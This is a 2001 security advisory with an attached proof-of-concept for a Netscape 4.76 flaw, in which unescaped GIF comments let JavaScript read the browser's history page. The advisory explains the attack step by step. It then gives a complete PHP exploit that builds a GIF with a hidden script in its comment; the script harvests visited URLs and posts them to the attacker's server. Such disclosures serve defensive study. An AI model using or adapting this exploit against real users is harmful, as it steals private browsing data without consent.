Product: Netscape Navigator/Communicator
Tested on: 4.76 (on Linux and Win98/NT)
Vendor Contact: Reported 2001-03-22
{ Problem }--------------------------------------------------------
- Overview:
The Netscape browser does not escape the gif file comment in the
image information page. This allows javascript execution in the
"about:" protocol and can for example be used to upload the
History (about:global) to a webserver.
- Detail:
Netscape does not allow javascript to access documents from
a different domain. This stops a javascript from one domain
that tries to mess around with login forms/private data from other
domain. The following error message is shown
"access disallowed from scripts at <javascriptdomain> to documents
at another domain."
Now there is the protocol "about:" that is used
for some special tasks.
about: - shows Netscape version and copyrights
about:blank - shows a blank document
about:config - shows Browser configuration.
about:global - shows Information about the Netscape global history
about:<url> - shows Information about the specified url
..
There are some other about: documents (try grepping the netscape binary).
about:global is very interesting since all visited documents are
listed there. So I tried to find a way to access this information.
I created a frameset with 2 frames. The first Frame (called foo)
contains about:global. Using <frame src="about:global">,
<meta http-equiv="refresh" content="10; URL=about:global"> or
document.location.href="about.global"; for setting this url did not
work. So I used the following trick to make it work:
<base href="about:">
<form action="global" name="loadhistory">
<input type="submit">
</form>
<script language="javascript">
document.loadhistory.submit();
</script>
My intention is that the second frame (called bar) grabs 10 urls
in the first frame using javascript and sends them to the server.
Accessing parent.frames["foo"].document.links does not work since
foo is displaying an about: document and bar is a normal http document:
"access disallowed from scripts at blah to documents..."
So I tried to find a way to start a javascript within an
about: document. about:<someurl> comes into mind since there are
a lot server specified values.
First I tried to inject javascript using the url of the script.
But since this url is encoded (space => %20 etc.) there is no way
in. Modifying the Content-Type (File MIME Type) did not work
either because Netscape opens a "Save as..." window when
supplying an unknown mimetype.
Then I remembered that Netscape shows the comment included in
gif files. A quick test showed that the comment is not escaped.
So Javascript in gif comments is executed in the about: realm.
This means that this script can then access the content of
about:global. nice.
The following script included in the comment reads 10 urls in
the about:global frame (foo), stores them in the form and finally
submits this form.
<form action=http://bla/ns476history.php target=_parent name=s method=get>
<input name=u>
</form>
<script>
f=parent.frames["foo"].document;
l="";
for(i=0;i<10;i++)
l+=f.links[i]+"|";
document.s.u.value=l;
document.s.submit();
</script>
The server has 10 urls of about:global urls now.
Accessing about:config should be possible too, but
I did not try it.
{ Solution }--------------------------------------------------------
Disable Javascript
or
Upgrade to 4.77
{ Exploit }---------------------------------------------------------
attached
or
http://dividuum.de/security/netscape/
--------------------------------------------------------------------
Regards,
Florian Wesch <[EMAIL PROTECTED]>
http://dividuum.de
<?
/*
Netscape 4.76 gif comment flaw
Florian Wesch <[EMAIL PROTECTED]>
http://dividuum.de
*/
$self="http://".$SERVER_NAME.(($SERVER_PORT==80)?"":":$SERVER_PORT").$PHP_SELF;
if (strlen($self)>64) {
echo "Url of $self is too long. 64 maximum.<br>";
echo "You can change this but I think 64 should be enough for anybody ;-)";
exit;
}
if (!isset($mode)) $mode="intro";
// If urllist is submitted
if (isset($u)) $mode="showhist";
switch ($mode) {
case "intro":
?>
<html>
<body>
<a href="<? echo $self; ?>?mode=frameset">Submit 10 urls of your
history</a><br>
</body>
</html>
<?
break;
case "frameset":
?>
<html>
<frameset rows="50%,50%" border=0 frameborder=0 framespacing=0>
<frame src="<? echo $self; ?>?mode=loadhistory" name="foo"
scrolling=no>
<frame src="<? echo $self; ?>?mode=showimageinfo" name="bar"
scrolling=no>
</frameset>
</html>
<?
break;
case "loadhistory":
// replaces the current document with about:global using javascript
?>
<html>
<base href="about:">
<form action="global" name="loadhistory">
<input type="submit">
</form>
<script language="javascript">
document.loadhistory.submit();
</script>
</html>
<?
break;
case "showimageinfo":
?>
<html>
<head>
<meta http-equiv="refresh" content="5; URL=about:<? echo $self;
?>?mode=evilgif">
</head>
<body>
Waiting 5 seconds...<br>
<img src="<? echo $self; ?>?mode=evilgif">
</body>
</html>
<?
break;
case "evilgif":
// Gifs are supposed to be compressed. The program I
// used sucks :-)
header("Content-type: image/gif");
$gif ="4749463839610a000a00f70000ffffffffffccffff";
$gif.="99ffff66ffff33ffff00ffccffffccccffcc99ffcc6";
$gif.="6ffcc33ffcc00ff99ffff99ccff9999ff9966ff9933";
$gif.="ff9900ff66ffff66ccff6699ff6666ff6633ff6600f";
$gif.="f33ffff33ccff3399ff3366ff3333ff3300ff00ffff";
$gif.="00ccff0099ff0066ff0033ff0000fffffffffffffff";
$gif.="fffffffffffffffffffffffffffffffffffffffffff";
$gif.="fffffffffffffffffffffffffffffffffffffffffff";
$gif.="fffffffffffffffffffffffffffffffffffffffffff";
$gif.="ffffffffffffffffffffffff0000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="00000000000000021feff";
$gif.=bin2hex(sprintf("%77s%s",
/*"<form action=".$self,' target=_parent name=s method=get >'.*/
/* I'm using POST so the submitted urls do not appear in the logfile */
"<form action=".$self,' target=_parent name=s method=post>'.
'<input name=u>'.
'</form>'.
'<script>'.
'f=parent.frames["foo"].document;'.
'l="";'.
/*'for(i=0;i<f.links.length;i++)'.*/
'for(i=0;i<10 ;i++)'.
'l+=f.links[i]+"|";'.
'document.s.u.value=l;'.
'document.'.chr(255).'s.submit();'.
'</script>'));
$gif.= "00000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="0000000000000000000000000000000000000000000";
$gif.="00000000000002c000000000a000a00000813004708";
$gif.="1c48b0a0c18308132a5cc8b061c28000003b";
echo pack("H".strlen($gif), $gif);
break;
case "showhist":
$urls=explode("|",$u);
echo "<h1>Top 10 urls in about:global</h1>";
foreach ($urls as $url) {
echo "<a href=$url>$url</a><br>";
}
};
?>
